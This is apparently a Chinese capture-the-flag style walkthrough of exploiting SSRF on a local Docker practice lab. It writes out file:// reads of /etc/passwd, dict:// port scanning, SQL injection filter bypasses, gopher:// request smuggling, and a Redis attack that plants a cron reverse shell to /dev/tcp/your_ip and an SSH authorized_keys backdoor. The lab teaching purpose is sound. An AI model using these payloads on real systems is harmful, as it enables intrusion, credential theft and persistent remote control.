1. SSRF漏洞初探与靶场搭建第一次接触SSRF漏洞时我被它的威力震惊了。简单来说SSRFServer-Side Request Forgery就是让服务器帮你发请求就像你让快递员帮你取快递结果他把你家保险柜也搬来了。在Kali环境下搭建靶场其实很简单我用的是Docker-compose方式这里分享下我的踩坑经验。首先确保你的Kali已经安装Docker和Docker-compose。我习惯先更新源sudo apt update sudo apt upgrade -y靶场镜像我用的是国光老师修改版的ssrf-vuls实测下来最稳定。启动命令要注意端口映射docker run -d -p 9080:80 --name ssrf-lab sqlsec/ssrf-vuls这里有个细节9080是外部访问端口80是容器内部端口。我第一次就栽在这里把内外端口搞反了导致服务起不来。启动后用浏览器访问http://your_kali_ip:9080看到测试页面就说明成功了。2. 漏洞验证与信息收集2.1 判断SSRF存在验证SSRF有个万能三板斧让服务器访问百度http://www.baidu.com访问本地回环http://127.0.0.1尝试非HTTP协议比如file:///etc/passwd在靶场里测试时我发现用Burp Suite比浏览器更方便。抓个包改下URL参数比如GET /?urlhttp://127.0.0.1 HTTP/1.1如果返回了本地服务的信息基本可以确认漏洞存在。我遇到过有些WAF会拦截127.0.0.1这时候可以用localhost或者0.0.0.0绕过。2.2 内网探测技巧拿到SSRF后我通常先用file协议读这几个文件/etc/hosts看内网IP段/proc/net/arp看同网段活跃主机/etc/network/interfaces看网卡配置比如这样构造请求file:///etc/hosts发现内网段是172.150.23.0/24后就要开始端口扫描了。这里推荐用dict协议比http更快dict://172.150.23.21:6379/info如果返回Redis版本信息说明端口开放。我写了个简单的bash脚本批量扫描for ip in {1..254}; do for port in {80,6379,3306}; do curl -s http://target/?urldict://172.150.23.${ip}:${port}/info done done3. 漏洞利用实战3.1 代码注入突破在172.150.23.22发现web服务后我用dirsearch扫目录python3 dirsearch.py -u http://172.150.23.22 -e php找到shell.php后传参要注意编码问题。比如执行cat /flag时http://172.150.23.22/shell.php?cmdcat%20/flag空格必须编码成%20在Burp里要变成%2520双重编码。我最初没注意这个细节浪费了两小时排查问题。3.2 SQL注入技巧172.150.23.23的注入点比较明显但有个坑过滤了空格。我的绕过方案1/**/and/**/12/**/union/**/select/**/version(),user(),3,database()--用/**/代替空格实测有效。报错注入时遇到更变态的过滤1and(select extractvalue(anything,concat(~,(select user()))))--这种XML报错注入在SSRF里特别有用因为返回结果会直接显示在页面。3.3 命令执行实战172.150.23.24的命令执行需要POST请求这时候必须用gopher协议。我总结的构造步骤先用Burp抓正常POST包删除无关头如Accept-Encoding修改Host为目标IP对整个包进行URL编码拼接到gopher://格式具体格式gopher://172.150.23.24:80/_编码后的数据注意gopher会吃掉第一个字符所以前面要加个下划线。我建议先在本地nc监听测试确保payload正确。4. Redis未授权终极攻击4.1 漏洞验证发现6379端口后先用dict协议验证dict://172.150.23.27:6379/info如果返回Redis信息说明存在未授权访问。我遇到过需要认证的情况这时候可以尝试空密码或者弱密码爆破。4.2 定时任务反弹shellRedis写定时任务有几个关键点定时任务路径必须是/var/spool/cron/文件名要和用户名一致如root任务内容要包含\n保证格式正确具体操作步骤dict://172.150.23.27:6379/flushall dict://172.150.23.27:6379/config set dir /var/spool/cron/ dict://172.23.23.27:6379/config set dbfilename root dict://172.150.23.27:6379/set x \n* * * * * bash -i /dev/tcp/your_ip/2333 01\n dict://172.150.23.27:6379/save注意要编码成%26否则会被解析为后台运行。我在实战中遇到过cron不执行的情况后来发现是权限问题改用/etc/crontab路径就成功了。4.3 应急技巧如果目标不出网可以尝试写ssh密钥config set dir /root/.ssh/ config set dbfilename authorized_keys set x \n\nssh-rsa your_public_key\n\n save这个方法的成功率取决于目录权限我实测大概有60%的机器能用。